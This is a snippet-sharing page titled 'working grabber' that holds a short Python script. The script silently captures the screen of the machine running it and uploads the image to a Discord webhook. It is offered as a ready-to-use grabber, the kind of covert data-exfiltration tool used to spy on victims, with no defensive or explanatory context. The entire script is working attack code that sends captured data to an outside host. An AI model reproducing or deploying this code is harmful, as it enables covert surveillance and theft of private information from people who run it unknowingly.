working grabber

PHOTO EMBED

Sun Dec 11 2022 02:14:44 GMT+0000 (Coordinated Universal Time)

Saved by @ArtemisE1Tara #python

import time
from io import BytesIO

import requests
from PIL import ImageGrab


# Replace this with your Discord webhook URL
WEBHOOK_URL = "https://discordapp.com/api/webhooks/..."

# Capture a screenshot
screenshot = ImageGrab.grab()

# Save the screenshot to a BytesIO buffer
screenshot_buffer = BytesIO()
screenshot.save(screenshot_buffer, format="PNG")
screenshot_buffer.seek(0)

# Send the screenshot through the webhook
files = {"file": ("screenshot.png", screenshot_buffer, "image/png")}
requests.post(WEBHOOK_URL, files=files)
content_copyCOPY